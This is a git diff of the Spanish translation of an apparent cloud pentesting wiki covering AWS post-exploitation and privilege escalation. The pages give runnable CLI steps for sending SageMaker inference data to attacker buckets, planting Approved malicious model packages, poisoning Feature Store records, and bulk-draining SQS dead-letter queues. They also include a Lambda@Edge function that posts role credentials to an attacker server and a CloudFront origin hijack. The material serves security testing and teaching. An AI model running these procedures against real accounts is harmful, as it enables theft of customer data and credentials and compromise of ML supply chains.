`sagemaker:UpdateEndpoint` -- S3: `s3:CreateBucket` (o usar un bucket existente en la misma cuenta) -- Opcional (si se usa SSE‑KMS): `kms:Encrypt` en la CMK elegida -- Objetivo: Un endpoint InService en tiempo real existente en la misma cuenta/región +- S3: `s3:CreateBucket` (or use an existing bucket in the same account) +- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK +- Target: An existing InService real‑time endpoint in the same account/region -### Pasos -1) Identificar un endpoint InService y recopilar las variantes de producción actuales +### Steps +1) Identify an InService endpoint and gather current production variants ```bash REGION=${REGION:-us-east-1} EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) @@ -22,13 +22,13 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q echo "EndpointConfig=$CFG" aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json ``` -2) Preparar destino S3 del atacante para captures +2) Preparar el destino S3 del attacker para capturas ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-capture-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION ``` -3) Crea un nuevo EndpointConfig que mantenga las mismas variantes pero habilite DataCapture hacia el attacker bucket +3) Crear un nuevo EndpointConfig que mantenga las mismas variantes pero habilite DataCapture en el bucket del atacante Nota: Usa tipos de contenido explícitos que satisfagan la validación del CLI. ```bash @@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \ --production-variants file:///tmp/pv.json \ --data-capture-config file:///tmp/dc.json ``` -4) Aplicar la nueva configuración con un rolling update (tiempo de inactividad mínimo/nulo) +4) Aplicar la nueva configuración mediante un rolling update (downtime mínimo/nulo) ```bash aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -5) Generar al menos una llamada de inferencia (opcional si existe tráfico en tiempo real) +5) Genera al menos una llamada de inferencia (opcional si existe tráfico en vivo) ```bash echo '{"inputs":[1,2,3]}' > /tmp/payload.json aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ --content-type application/json --accept application/json \ --body fileb:///tmp/payload.json /tmp/out.bin || true ``` -6) Validar capturas en attacker S3 +6) Validar capturas en el S3 del atacante ```bash aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize ``` ### Impacto -- Exfiltración completa de los payloads de solicitudes y respuestas de inferencia en tiempo real (y metadatos) desde el endpoint objetivo a un bucket S3 controlado por el atacante. -- Sin cambios en la imagen del model/container y solo cambios a nivel de endpoint, lo que permite una vía sigilosa de robo de datos con mínima interrupción operativa. +- Exfiltración completa de los payloads de solicitudes y respuestas de inferencia en tiempo real (y metadatos) desde el endpoint objetivo a un S3 bucket controlado por el atacante. +- Sin cambios en la imagen del modelo/container y solo cambios a nivel de endpoint, lo que permite una vía sigilosa de robo de datos con mínima interrupción operativa. ## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig -Abusar de la gestión del endpoint para redirigir las salidas de inferencia asíncrona a un bucket S3 controlado por el atacante clonando el EndpointConfig actual y configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Esto exfiltra las predicciones del modelo (y cualquier entrada transformada incluida por el container) sin modificar el model/container. +Abusar de la gestión de endpoints para redirigir las salidas de inferencia asíncrona a un S3 bucket controlado por el atacante clonando el EndpointConfig actual y configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Esto exfiltra las predicciones del modelo (y cualquier entrada transformada incluida por el container) sin modificar el modelo/container. ### Requisitos - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` -- S3: Capacidad para escribir en el bucket S3 del atacante (vía el model execution role o una política de bucket permisiva) -- Objetivo: Un endpoint InService donde las invocaciones asíncronas se están (o se usarán) empleando +- S3: Capacidad para escribir en el S3 bucket controlado por el atacante (vía el rol de ejecución del modelo o una bucket policy permisiva) +- Target: Un endpoint InService donde las invocaciones asíncronas se están (o se van a) utilizar ### Pasos -1) Recopila los ProductionVariants actuales del endpoint objetivo +1) Recolectar los ProductionVariants actuales del endpoint objetivo ```bash REGION=${REGION:-us-east-1} EP= CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json ``` -2) Crea un bucket atacante (asegúrate de que el rol de ejecución del modelo pueda PutObject en él) +2) Crea un bucket del atacante (asegúrate de que el rol de ejecución del modelo pueda PutObject en él) ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION || true ``` -3) Clonar EndpointConfig y hijack AsyncInference outputs al attacker bucket +3) Clonar EndpointConfig y redirigir las salidas de AsyncInference al attacker bucket ```bash NEWCFG=${CUR_CFG}-async-exfil cat > /tmp/async_cfg.json << JSON @@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name " aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -4) Disparar una invocación asíncrona y verificar que los objetos terminen en el S3 del atacante +4) Disparar una invocación asíncrona y verificar que los objetos lleguen al S3 del atacante ```bash aws s3 cp /etc/hosts s3://$BUCKET/inp.bin aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true @@ -117,21 +117,21 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true aws s3 ls s3://$BUCKET/async-fail/ --recursive || true ``` ### Impacto -- Redirige los resultados de inferencia asíncrona (y los cuerpos de error) a S3 controlado por el atacante, permitiendo la exfiltración encubierta de predicciones y de posibles entradas pre/post-procesadas sensibles producidas por el contenedor, sin cambiar el código o la imagen del modelo y con tiempo de inactividad mínimo o nulo. +- Redirige resultados de inferencia asíncrona (y cuerpos de error) a S3 controlado por el atacante, permitiendo la exfiltración encubierta de predicciones y, potencialmente, de entradas pre/post-procesadas sensibles producidas por el contenedor, sin cambiar el código o la imagen del modelo y con tiempo de inactividad mínimo o nulo. -## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved) +## Inyección en la cadena de suministro del SageMaker Model Registry vía CreateModelPackage(Approved) -Si un atacante puede ejecutar CreateModelPackage en un Model Package Group objetivo de SageMaker, puede registrar una nueva versión de modelo que apunte a una imagen de contenedor controlada por el atacante y marcarla inmediatamente como Approved. Muchos pipelines de CI/CD despliegan automáticamente versiones Approved de modelos a endpoints o training jobs, lo que puede resultar en ejecución de código del atacante bajo los roles de ejecución del servicio. La exposición entre cuentas puede amplificarse mediante una política de recurso ModelPackageGroup permisiva. +Si un atacante puede ejecutar CreateModelPackage en un SageMaker Model Package Group objetivo, puede registrar una nueva versión del modelo que apunte a una imagen de contenedor controlada por el atacante y marcarla inmediatamente como Approved. Muchos pipelines de CI/CD despliegan automáticamente versiones de modelo Approved a endpoints o training jobs, lo que resulta en ejecución de código del atacante bajo los roles de ejecución del servicio. La exposición entre cuentas puede ampliarse por una política de recurso permisiva en ModelPackageGroup. ### Requisitos -- IAM (mínimo para comprometer un grupo existente): `sagemaker:CreateModelPackage` on the target ModelPackageGroup +- IAM (mínimo para comprometer un grupo existente): `sagemaker:CreateModelPackage` en el ModelPackageGroup objetivo - Opcional (para crear un grupo si no existe): `sagemaker:CreateModelPackageGroup` - S3: Acceso de lectura al ModelDataUrl referenciado (o alojar artefactos controlados por el atacante) -- Objetivo: Un Model Package Group que la automatización downstream vigila en busca de versiones Approved +- Objetivo: Un Model Package Group que la automatización downstream vigila para versiones Approved ### Pasos -1) Configurar la región y crear/buscar un Model Package Group objetivo +1) Establecer la región y crear/encontrar un Model Package Group ```bash REGION=${REGION:-us-east-1} MPG=victim-group-$(date +%s) @@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION head -c 1024 /tmp/model.tar.gz aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION ``` -3) Registrar una versión de paquete de modelo Approved maliciosa (aquí benigna) que haga referencia a una imagen pública de AWS DLC +3) Registrar una Approved model package version maliciosa (aquí benigna) que haga referencia a una imagen pública de AWS DLC ```bash IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" cat > /tmp/inf.json << JSON @@ -162,17 +162,17 @@ cat > /tmp/inf.json << JSON JSON aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json ``` -4) Verificar que la nueva versión Approved exista +4) Verifica que exista la nueva versión Approved ```bash aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table ``` ### Impacto -- Envenenar el Model Registry con una versión Approved que referencia código controlado por el atacante. Pipelines que auto-deployan modelos Approved pueden pull y ejecutar la imagen del atacante, obteniendo ejecución de código bajo los endpoint/training roles. -- Con una política de recurso ModelPackageGroup permisiva (PutModelPackageGroupPolicy), este abuso puede desencadenarse cross-account. +- Envenenar el Model Registry con una versión Approved que haga referencia a código controlado por el atacante. Las Pipelines que auto-despliegan modelos Approved pueden descargar y ejecutar la imagen del atacante, permitiendo ejecución de código con los roles endpoint/training. +- Con una política de recurso ModelPackageGroup permisiva (PutModelPackageGroupPolicy), este abuso puede desencadenarse entre cuentas. -## Envenenamiento del Feature store +## Envenenamiento del Feature Store -Abusar de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de feature en vivo consumidos por la inferencia online. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni a endpoints. +Abusar de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por la inferencia en línea. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni endpoints. {{#ref}} feature-store-poisoning.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index b47016f03..f1304d0a0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -2,16 +2,16 @@ {{#include ../../../../banners/hacktricks-training.md}} -Abusa de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por la inferencia en tiempo real. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos o endpoints. +Abusa de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir los valores de features en vivo consumidos por online inference. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni a endpoints. -## Requisitos -- Permisos: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- Objetivo: Feature Group con OnlineStore habilitado (típicamente respaldando inferencia en tiempo real) -- Complejidad: **BAJA** - Comandos simples de AWS CLI, no se requiere manipulación de modelos +## Requirements +- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` +- Target: Feature Group con OnlineStore habilitado (típicamente respaldando real-time inference) +- Complexity: **LOW** - Comandos simples de AWS CLI, no se requiere manipulación de modelos -## Pasos +## Steps -### Reconocimiento +### Reconnaissance 1) Listar Feature Groups con OnlineStore habilitado ```bash @@ -28,9 +28,9 @@ aws sagemaker describe-feature-group \ --region $REGION \ --feature-group-name "$FG" ``` -Tenga en cuenta `RecordIdentifierFeatureName`, `EventTimeFeatureName`, y todas las definiciones de características. Estas son necesarias para elaborar registros válidos. +Tenga en cuenta `RecordIdentifierFeatureName`, `EventTimeFeatureName` y todas las definiciones de features. Son necesarios para crear registros válidos. -### Escenario de ataque 1: Data Poisoning (Overwrite Existing Records) +### Escenario de ataque 1: Data Poisoning (Sobrescribir registros existentes) 1) Leer el registro legítimo actual ```bash @@ -39,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -2) Envenena el registro con valores maliciosos usando el parámetro inline `--record` +2) Envenenar el registro con valores maliciosos usando el parámetro inline `--record` ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -63,9 +63,9 @@ aws sagemaker-featurestore-runtime get-record \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -**Impacto**: Los modelos ML que consumen esta característica ahora verán `risk_score=0.99` para un usuario legítimo, lo que podría bloquear sus transacciones o servicios. +**Impact**: Los modelos ML que consumen esta característica ahora verán `risk_score=0.99` para un usuario legítimo, potencialmente bloqueando sus transacciones o servicios. -### Escenario de ataque 2: Malicious Data Injection (Create Fraudulent Records) +### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records) Inyectar registros completamente nuevos con características manipuladas para evadir los controles de seguridad: ```bash @@ -84,16 +84,16 @@ aws sagemaker-featurestore-runtime put-record \ ]" \ --target-stores OnlineStore ``` -Verifique la inyección: +Verificar la inyección: ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-999 ``` -**Impact**: El atacante crea una identidad falsa con una puntuación de riesgo baja (0.01) que puede realizar transacciones fraudulentas de alto valor sin activar la detección de fraude. +**Impact**: El atacante crea una identidad falsa con una puntuación de riesgo baja (0.01) que puede realizar transacciones fraudulentas de alto valor sin activar la detección de fraudes. -### Escenario de ataque 3: Exfiltración de datos sensibles +### Attack Scenario 3: Sensitive Data Exfiltration Leer múltiples registros para extraer características confidenciales y perfilar el comportamiento del modelo: ```bash @@ -106,7 +106,7 @@ aws sagemaker-featurestore-runtime get-record \ --record-identifier-value-as-string ${USER_ID} done ``` -**Impact**: Características confidenciales (puntuaciones de riesgo, patrones de transacción, datos personales) expuestas al attacker. +**Impacto**: características confidenciales (puntuaciones de riesgo, patrones de transacciones, datos personales) expuestas al atacante. ### Creación de Feature Group de prueba/demostración (Opcional) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md index ade875239..c89c84740 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -2,54 +2,54 @@ {{#include ../../../banners/hacktricks-training.md}} -## Descripción +## Description -Abusar de las tareas de movimiento de mensajes de SQS para robar todos los mensajes acumulados en el Dead-Letter Queue (DLQ) de una víctima redirigiéndolos a una queue controlada por el atacante usando `sqs:StartMessageMoveTask`. Esta técnica explota la funcionalidad legítima de recuperación de mensajes de AWS para exfiltrar datos sensibles que se han acumulado en los DLQ a lo largo del tiempo. +Abusar de las tareas de movimiento de mensajes de SQS para robar todos los mensajes acumulados de la Dead-Letter Queue (DLQ) de una víctima redirigiéndolos a una cola controlada por el atacante usando `sqs:StartMessageMoveTask`. Esta técnica explota la funcionalidad legítima de recuperación de mensajes de AWS para exfiltrar datos sensibles que se han ido acumulando en las DLQs con el tiempo. -## ¿Qué es un Dead-Letter Queue (DLQ)? +## What is a Dead-Letter Queue (DLQ)? -Un Dead-Letter Queue es una queue especial de SQS donde los mensajes se envían automáticamente cuando fallan al ser procesados correctamente por la aplicación principal. Estos mensajes fallidos a menudo contienen: -- Datos sensibles de la aplicación que no pudieron procesarse -- Detalles de errores e información para depuración -- Información de identificación personal (PII) +Una Dead-Letter Queue es una cola SQS especial donde los mensajes se envían automáticamente cuando fallan al ser procesados correctamente por la aplicación principal. Estos mensajes fallidos a menudo contienen: +- Datos sensibles de la aplicación que no pudieron ser procesados +- Detalles de errores e información de depuración +- Información de Identificación Personal (PII) - Tokens de API, credenciales u otros secretos - Datos de transacciones críticos para el negocio -Los DLQ actúan como un "cementerio" para mensajes fallidos, lo que los convierte en objetivos valiosos ya que acumulan datos sensibles con el tiempo que las aplicaciones no pudieron manejar correctamente. +Las DLQs actúan como un "cementerio" para mensajes fallidos, lo que las convierte en objetivos valiosos ya que acumulan datos sensibles con el tiempo que las aplicaciones no pudieron manejar correctamente. -## Escenario de ataque +## Attack Scenario -**Ejemplo del mundo real:** -1. **Una aplicación de e-commerce** procesa pedidos de clientes a través de SQS -2. **Algunos pedidos fallan** (problemas de pago, inventario, etc.) y se mueven a un DLQ -3. **El DLQ acumula** semanas/meses de pedidos fallidos que contienen datos de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` -4. **El atacante obtiene acceso** a credenciales de AWS con permisos de SQS -5. **El atacante descubre** que el DLQ contiene miles de pedidos fallidos con datos sensibles -6. **En lugar de intentar acceder a mensajes individuales** (lento y obvio), el atacante usa `StartMessageMoveTask` para transferir a granel TODOS los mensajes a su propia queue -7. **El atacante extrae** todos los datos históricos sensibles en una sola operación +**Real-world example:** +1. **Aplicación de e-commerce** procesa pedidos de clientes a través de SQS +2. **Algunos pedidos fallan** (problemas de pago, inventario, etc.) y se mueven a una DLQ +3. **La DLQ acumula** semanas/meses de pedidos fallidos que contienen datos de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **El atacante consigue acceso** a credenciales de AWS con permisos SQS +5. **El atacante descubre** que la DLQ contiene miles de pedidos fallidos con datos sensibles +6. **En lugar de intentar acceder a mensajes individuales** (lento y evidente), el atacante utiliza `StartMessageMoveTask` para transferir en masa TODOS los mensajes a su propia cola +7. **El atacante extrae** todos los datos sensibles históricos en una sola operación -## Requisitos -- La queue de origen debe estar configurada como DLQ (referenciada por al menos una RedrivePolicy de alguna queue). -- Permisos IAM (ejecutados como el principal víctima comprometido): - - En la DLQ (origen): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. - - En la queue de destino: permiso para entregar mensajes (por ejemplo, política de queue que permita `sqs:SendMessage` desde el principal víctima). Para destinos en la misma cuenta, esto suele estar permitido por defecto. +## Requirements +- La cola origen debe estar configurada como DLQ (referenciada por al menos una RedrivePolicy de cola). +- IAM permissions (run as the compromised victim principal): +- En la DLQ (origen): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- En la cola destino: permiso para entregar mensajes (p. ej., política de cola que permita `sqs:SendMessage` desde el principal víctima). Para destinos en la misma cuenta esto suele permitirse por defecto. - Si SSE-KMS está habilitado: en la CMK de origen `kms:Decrypt`, y en la CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`. -## Impacto -Exfiltrar cargas útiles sensibles acumuladas en DLQs (eventos fallidos, PII, tokens, payloads de aplicación) a alta velocidad usando las APIs nativas de SQS. Funciona cross-account si la política de la queue de destino permite `SendMessage` desde el principal víctima. +## Impact +Exfiltrar cargas útiles sensibles acumuladas en DLQs (eventos fallidos, PII, tokens, payloads de aplicación) a alta velocidad usando las APIs nativas de SQS. Funciona cross-account si la política de la cola destino permite `SendMessage` desde el principal víctima. -## Cómo abusar +## How to Abuse -- Identifique el ARN del DLQ de la víctima y asegúrese de que realmente esté referenciado como DLQ por alguna queue (cualquier queue sirve). -- Cree o elija una queue controlada por el atacante y obtenga su ARN. -- Inicie una tarea de movimiento de mensajes desde el DLQ de la víctima hacia su queue de destino. -- Monitoree el progreso o cancele si es necesario. +- Identificar el ARN de la DLQ víctima y asegurarse de que realmente esté referenciada como DLQ por alguna cola (cualquier cola sirve). +- Crear o elegir una cola destino controlada por el atacante y obtener su ARN. +- Iniciar una tarea de movimiento de mensajes desde la DLQ víctima hacia tu cola destino. +- Monitorizar el progreso o cancelar si es necesario. -### Ejemplo CLI: Exfiltración de datos de clientes desde DLQ de e-commerce +### CLI Example: Exfiltrating Customer Data from E-commerce DLQ -**Escenario**: Un atacante ha comprometido credenciales de AWS y descubrió que una aplicación de e-commerce usa SQS con un DLQ que contiene intentos fallidos de procesamiento de pedidos de clientes. +**Scenario**: Un atacante ha comprometido credenciales de AWS y descubrió que una aplicación de e-commerce usa SQS con una DLQ que contiene intentos fallidos de procesamiento de pedidos de clientes. -1) **Descubrir y examinar el DLQ de la víctima** +1) **Descubrir y examinar la DLQ víctima** ```bash # List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) aws sqs list-queues --queue-name-prefix dlq @@ -63,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ --attribute-names ApproximateNumberOfMessages # Output might show: "ApproximateNumberOfMessages": "1847" ``` -2) **Crear cola de destino controlada por attacker** +2) **Crear una cola de destino controlada por el atacante** ```bash # Create our exfiltration queue ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) @@ -115,21 +115,21 @@ echo "Received batch of stolen data..." echo "$MESSAGES" >> stolen_customer_data.json done ``` -### Notas entre cuentas -- La cola de destino debe tener una política de recursos que permita al principal víctima `sqs:SendMessage` (and, if used, KMS grants/permissions). +### Notas de cuentas cruzadas +- La cola de destino debe tener una política de recursos que permita al principal de la víctima `sqs:SendMessage` (y, si se usan, KMS grants/permissions). ## Por qué este ataque es efectivo -1. **Funcionalidad legítima de AWS**: Usa la funcionalidad integrada de AWS, lo que dificulta detectarla como maliciosa -2. **Operación masiva**: Transfiere miles de mensajes rápidamente en lugar de acceder uno por uno lentamente -3. **Datos históricos**: Las DLQs acumulan datos sensibles durante semanas/meses -4. **Fuera del radar**: Muchas organizaciones no monitorizan el acceso a DLQs de cerca -5. **Capaz entre cuentas**: Puede exfiltrar a la propia cuenta de AWS del atacante si los permisos lo permiten +1. **Característica legítima de AWS**: Usa funcionalidad integrada de AWS, lo que dificulta detectarlo como malicioso +2. **Operación por lotes**: Transfiere miles de mensajes rápidamente en lugar de accederlos individualmente y de forma lenta +3. **Datos históricos**: DLQs acumulan datos sensibles durante semanas/meses +4. **Fuera del radar**: Muchas organizaciones no monitorizan de cerca el acceso a las DLQs +5. **Capaz entre cuentas**: Puede exfiltrar a la propia cuenta AWS del atacante si los permisos lo permiten ## Detección y prevención ### Detección -Supervisa CloudTrail en busca de llamadas API sospechosas `StartMessageMoveTask`: +Monitoriza CloudTrail en busca de llamadas API `StartMessageMoveTask` sospechosas: ```json { "eventName": "StartMessageMoveTask", @@ -145,10 +145,10 @@ Supervisa CloudTrail en busca de llamadas API sospechosas `StartMessageMoveTask` } ``` ### Prevención -1. **Principio de mínimo privilegio**: Restringir los permisos `sqs:StartMessageMoveTask` solo a los roles necesarios -2. **Monitorear DLQs**: Configurar alarmas de CloudWatch para actividad inusual en DLQs -3. **Políticas entre cuentas**: Revisar cuidadosamente las políticas de las colas SQS que permiten acceso entre cuentas -4. **Cifrar DLQs**: Usar SSE-KMS con políticas de clave restringidas -5. **Limpieza regular**: No permita que datos sensibles se acumulen en DLQs indefinidamente +1. **Principio de menor privilegio**: Restringir los permisos `sqs:StartMessageMoveTask` solo a los roles necesarios +2. **Supervisar DLQs**: Configurar alarmas de CloudWatch para actividad inusual en las DLQs +3. **Políticas entre cuentas**: Revisar cuidadosamente las políticas de colas SQS que permitan acceso entre cuentas +4. **Cifrar DLQs**: Usar SSE-KMS con políticas de claves restringidas +5. **Limpieza periódica**: No permitir que datos sensibles se acumulen en las DLQs indefinidamente {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md index 658d54d53..2c3bb89f7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md @@ -6,13 +6,13 @@ ### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig` -Un atacante que tenga los permisos `cloudfront:UpdateDistribution` y `cloudfront:GetDistributionConfig` puede modificar la configuración de una distribución de CloudFront. No necesita permisos sobre el bucket S3 objetivo en sí, aunque el ataque es más sencillo si ese bucket tiene una política permisiva que permite el acceso desde el service principal `cloudfront.amazonaws.com`. +Un atacante que tenga los permisos cloudfront:UpdateDistribution y cloudfront:GetDistributionConfig puede modificar la configuración de una distribución de CloudFront. No necesita permisos sobre el bucket S3 objetivo en sí, aunque el ataque es más fácil si ese bucket tiene una política permisiva que permita el acceso desde el principal de servicio cloudfront.amazonaws.com. -El atacante cambia la configuración del origin de una distribución para que apunte a otro bucket S3 o a un servidor controlado por el atacante. Primero obtienen la configuración actual de la distribución: +El atacante cambia la configuración del origen de una distribución para apuntar a otro bucket S3 o a un servidor controlado por el atacante. Primero obtienen la configuración actual de la distribución: ```bash aws cloudfront get-distribution-config --id | jq '.DistributionConfig' > current-config.json ``` -Luego editan current-config.json para apuntar el origin al nuevo recurso — por ejemplo, un bucket S3 distinto: +A continuación editan current-config.json para apuntar el origen al nuevo recurso — por ejemplo, un bucket S3 diferente: ```bash ... "Origins": { @@ -91,16 +91,16 @@ return response; Commands to create, publish and attach the function: ```bash -# Crear la malicious function en CloudFront +# Crear la función maliciosa en CloudFront aws cloudfront create-function --name malicious-function --function-config '{ "Comment": "Malicious CloudFront Function for Code Injection", "Runtime": "cloudfront-js-1.0" }' --function-code fileb://malicious-function.js -# Obtener el ETag de la function en la etapa DEVELOPMENT +# Obtener el ETag de la función en la etapa DEVELOPMENT aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text -# Publicar la function en la etapa LIVE +# Publicar la función en la etapa LIVE aws cloudfront publish-function --name malicious-function --if-match ``` @@ -135,45 +135,45 @@ The attacker creates a malicious Lambda@Edge function that steals the IAM role c ```bash // malicious-lambda-edge.js exports.handler = async (event) => { - // Obtener credenciales del rol - const credentials = { - accessKeyId: process.env.AWS_ACCESS_KEY_ID, - secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, - sessionToken: process.env.AWS_SESSION_TOKEN, - }; - // Enviar credenciales al servidor del atacante - try { - await fetch("https:///steal-credentials", { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify(credentials) - }); - } catch (error) { - console.error("Error sending credentials:", error); - } - if (event.Records && event.Records[0] && event.Records[0].cf) { - // Modificar cabeceras de la respuesta - const response = event.Records[0].cf.response; - response.headers["x-credential-theft"] = [ - { - key: "X-Credential-Theft", - value: "Successful", - }, - ]; - return response; - } - return { - statusCode: 200, - body: JSON.stringify({ message: "Credentials stolen" }) - }; +// Obtain role credentials +const credentials = { +accessKeyId: process.env.AWS_ACCESS_KEY_ID, +secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, +sessionToken: process.env.AWS_SESSION_TOKEN, +}; +// Send credentials to attacker's server +try { +await fetch("https:///steal-credentials", { +method: "POST", +headers: { "Content-Type": "application/json" }, +body: JSON.stringify(credentials) +}); +} catch (error) { +console.error("Error sending credentials:", error); +} +if (event.Records && event.Records[0] && event.Records[0].cf) { +// Modify response headers +const response = event.Records[0].cf.response; +response.headers["x-credential-theft"] = [ +{ +key: "X-Credential-Theft", +value: "Successful", +}, +]; +return response; +} +return { +statusCode: 200, +body: JSON.stringify({ message: "Credentials stolen" }) +}; }; ``` ```bash -# Package the Lambda@Edge function +# Empaquetar la función Lambda@Edge zip malicious-lambda-edge.zip malicious-lambda-edge.js -# Create the Lambda@Edge function with a privileged role +# Crear la función Lambda@Edge con un rol privilegiado aws lambda create-function \ --function-name malicious-lambda-edge \ --runtime nodejs18.x \ @@ -182,7 +182,7 @@ aws lambda create-function \ --zip-file fileb://malicious-lambda-edge.zip \ --region -# Publish a version of the function +# Publicar una versión de la función aws lambda publish-version --function-name malicious-lambda-edge --region ``` @@ -202,7 +202,7 @@ Then the attacker updates the CloudFront distribution configuration to reference ``` ```bash -# Aplicar la configuración actualizada de la distribución (debe usar el ETag actual) +# Aplicar la configuración de distribución actualizada (debe usar el ETag actual) CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) aws cloudfront update-distribution \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md index 39eba7781..de547f65c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -4,7 +4,7 @@ ## EC2 -Para más **info sobre EC2** consulta: +Para más **información sobre EC2** consulta: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,11 +12,11 @@ Para más **info sobre EC2** consulta: ### `iam:PassRole`, `ec2:RunInstances` -Un atacante podría **crear una instancia adjuntando un IAM role y luego acceder a la instancia** para robar las credenciales del IAM role desde el endpoint de metadatos. +Un atacante podría **crear una instancia adjuntando un rol IAM y luego acceder a la instancia** para robar las credenciales del rol IAM desde el endpoint de metadatos. - **Acceso vía SSH** -Lanza una nueva instancia usando una **creada** **ssh key** 